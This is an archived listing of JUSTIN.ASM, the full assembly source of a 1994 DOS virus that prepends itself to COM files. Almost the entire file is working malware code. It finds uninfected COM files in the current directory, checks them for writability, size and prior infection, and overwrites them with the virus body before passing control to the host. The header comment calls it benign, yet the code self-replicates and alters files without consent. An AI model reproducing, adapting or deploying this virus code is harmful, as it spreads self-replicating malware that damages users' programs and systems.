home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / JUSTIN / JUSTIN.ASM next >
Encoding:
Assembly Source File  |  1994-11-08  |  9.3 KB  |  187 lines

  1. ;The JUSTIN virus is a parasitic COM infector which puts itself before the
  2. ;host in the file. This virus is benign
  3. ;
  4. ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
  5.  
  6. .model small
  7. .code
  8.                 org     0100H
  9.  
  10. JUSTIN:
  11.                 call    CHECK_MEM               ;enough memory to run?
  12.                 jc      GOTO_HOST_LOW           ;nope, just exit to host
  13.                 call    JUMP_HIGH               ;go to next 64K memory block
  14.                 call    FIND_FILE               ;find a file to infect
  15.                 jc      GOTO_HOST_HIGH          ;none available, go to host
  16.                 call    INFECT_FILE             ;infect file we found
  17. GOTO_HOST_HIGH:
  18.                 mov     di,100H                 ;move host to low memory
  19.                 mov     si,OFFSET HOST
  20.                 mov     ax,ss                   ;ss points to low seg still
  21.                 mov     ds,ax                   ;so set ds and es to point there
  22.                 mov     es,ax
  23.                 push    ax                      ;push return address
  24.                 push    di                      ;to execute host (for later use)
  25.                 mov     cx,sp
  26.                 sub     cx,OFFSET HOST          ;cx = bytes to move
  27.                 rep     movsb                   ;move host to offset 100H
  28.                 retf                            ;and go execute it
  29.  
  30. ;This executes only if Justin doesn't have enough memory to infect anything.
  31. ;It puts code to move the host down on the stack, and then jumps to it.
  32. GOTO_HOST_LOW:
  33.                 mov     ax,100H                 ;put 100H ret addr on stack
  34.                 push    ax
  35.                 mov     ax,sp
  36.                 sub     ax,6                    ;ax=start of stack instructions
  37.                 push    ax                      ;address to jump to on stack
  38.  
  39.                 mov     ax,000C3H               ;put "ret" on stack
  40.                 push    ax
  41.                 mov     ax,0A4F3H               ;put "rep movsb" on stack
  42.                 push    ax
  43.  
  44.                 mov     si,OFFSET HOST          ;set up si and di
  45.                 mov     di,100H                 ;in prep to move data
  46.                 mov     cx,sp                   ;set up cx
  47.                 sub     cx,OFFSET HOST
  48.  
  49.                 cli                             ;hw ints off
  50.                 add     sp,4                    ;adjust stack
  51.  
  52.                 ret                             ;go to stack code
  53.  
  54.  
  55. ;This routine checks memory to see if there is enough room for JUSTIN to
  56. ;execute properly. If not, it returns with carry set.
  57. CHECK_MEM:
  58.                 mov     ah,4AH                  ;modify allocated memory
  59.                 mov     bx,2000H                ;we want 2*64K
  60.                 int     21H                     ;set c if not enough memory
  61.                 pushf
  62.                 mov     ah,4AH                  ;re-allocate all available mem
  63.                 mov     bx,0FFFFH
  64.                 int     21H
  65.                 mov     ah,4AH
  66.                 int     21H
  67.                 popf
  68.                 ret                             ;and return to caller
  69.  
  70. ;This routine jumps to the block 64K above where the virus starts executing.
  71. ;It also sets all segment registers to point there, and moves the DTA to
  72. ;offset 80H in that segment.
  73. JUMP_HIGH:
  74.                 mov     ax,ds                   ;ds points to current segment
  75.                 add     ax,1000H
  76.                 mov     es,ax                   ;es points 64K higher
  77.                 mov     si,100H
  78.                 mov     di,si                   ;di = si = 100H
  79.                 mov     cx,OFFSET HOST - 100H   ;cx = bytes to move
  80.                 rep     movsb                   ;copy virus to upper 64K block
  81.                 mov     ds,ax                   ;set ds to high segment now, too
  82.                 mov     ah,1AH                  ;move DTA
  83.                 mov     dx,80H                  ;to ds:80H (high segment)
  84.                 int     21H
  85.                 pop     ax                      ;get return @ off of stack
  86.                 push    es                      ;put hi mem seg on stack
  87.                 push    ax                      ;then put return @ back
  88.                 retf                            ;FAR return to high memory!
  89.  
  90.  
  91. ;The following routine searches for one uninfected COM file and returns with
  92. ;c reset if one is found. It only searches the current directory.
  93. FIND_FILE:
  94.                 mov     dx,OFFSET COM_MASK      ;search for COM files
  95.                 mov     ah,4EH                  ;DOS find first file function
  96.                 xor     cx,cx                   ;CX holds all file attributes
  97. FIND_LOOP:      int     21H
  98.                 jc      FIND_EXIT               ;Exit if no files found
  99.                 call    FILE_OK                 ;file OK to infect?
  100.                 jc      FIND_NEXT               ;nope, look for another
  101. FIND_EXIT:      ret                             ;else return with z set
  102. FIND_NEXT:      mov     ah,4FH                  ;DOS find next file function
  103.                 jmp     FIND_LOOP               ;Try finding another file
  104.  
  105. COM_MASK        db      '*.COM',0               ;COM file search mask
  106.  
  107.  
  108. ;The following routine determines whether a file is ok to infect. There are
  109. ;several criteria which must be satisfied if a file is to be infected.
  110. ;
  111. ;       1. We must be able to write to the file (open read/write successful).
  112. ;       2. The file must not be too big.
  113. ;       3. The file must not already be infected.
  114. ;       4. The file must not really be an EXE.
  115. ;
  116. ;If these criteria are met, FILE_OK returns with c reset, the file open, with
  117. ;the handle in bx and the original size in dx. If any criteria fail, FILE_OK
  118. ;returns with c set.
  119. FILE_OK:
  120.                 mov     dx,9EH                  ;offset of file name in DTA
  121.                 mov     ax,3D02H                ;open file, read/write access
  122.                 int     21H
  123.                 jc      FOK_EXIT_C              ;open failed, exit with c set
  124.                 mov     bx,ax                   ;else put handle in bx
  125.                 mov     ax,4202H                ;seek end of file
  126.                 xor     cx,cx                   ;displacement from end = 0
  127.                 xor     dx,dx
  128.                 int     21H                     ;dx:ax contains file size
  129.                 jc      FOK_EXIT_CCF            ;exit if it fails
  130.                 or      dx,dx                   ;if file size > 64K, exit
  131.                 jnz     FOK_EXIT_CCF            ;with c set
  132.                 mov     cx,ax                   ;put file size in cx too
  133.                 add     ax,OFFSET HOST          ;add Justin + PSP size to host
  134.                 cmp     ax,0FF00H               ;is there 100H bytes for stack?
  135.                 jnc     FOK_EXIT_C              ;nope, exit with c set
  136.                 push    cx                      ;save host size for future use
  137.                 mov     ax,4200H                ;reposition file pointer
  138.                 xor     cx,cx
  139.                 xor     dx,dx                   ;to start of file
  140.                 int     21H
  141.                 pop     cx
  142.                 push    cx
  143.                 mov     ah,3FH                  ;prepare to read file
  144.                 mov     dx,OFFSET HOST          ;into host location
  145.                 int     21H                     ;do it
  146.                 pop     dx                      ;host size now in dx
  147.                 jc      FOK_EXIT_CCF            ;exit with c set if failure
  148.                 mov     si,100H                 ;now check 20 bytes to see
  149.                 mov     di,OFFSET HOST          ;if file already infected
  150.                 mov     cx,10
  151.                 repz    cmpsw                   ;do it
  152.                 jz      FOK_EXIT_CCF            ;already infected, exit now
  153.                 cmp     WORD PTR cs:[HOST],'ZM' ;is it really an EXE?
  154.                 jz      FOK_EXIT_CCF            ;yes, exit with c set
  155.                 clc                             ;all systems go, clear carry
  156.                 ret                             ;and exit
  157.  
  158. FOK_EXIT_CCF:   mov     ah,3EH                  ;close file
  159.                 int     21H
  160. FOK_EXIT_C:     stc                             ;set carry
  161.                 ret                             ;and return
  162.  
  163.  
  164. ;This routine infects the file located by FIND_FILE.
  165. INFECT_FILE:
  166.                 push    dx                      ;save original host size
  167.                 mov     ax,4200H                ;reposition file pointer
  168.                 xor     cx,cx
  169.                 xor     dx,dx                   ;to start of file
  170.                 int     21H
  171.                 pop     cx                      ;original host size to cx
  172.                 add     cx,OFFSET HOST - 100H   ;add virus size to it
  173.                 mov     dx,100H                 ;start of infected image
  174.                 mov     ah,40H                  ;write file
  175.                 int     21H
  176.                 mov     ah,3EH                  ;and close the file
  177.                 int     21H
  178.                 ret                             ;and exit
  179.  
  180. ;Here is where the host program starts. In this assembler listing, the host
  181. ;just exits to DOS.
  182. HOST:
  183.                 mov     ax,4C00H                ;exit to DOS
  184.                 int     21H
  185.  
  186.                 end     JUSTIN
  187.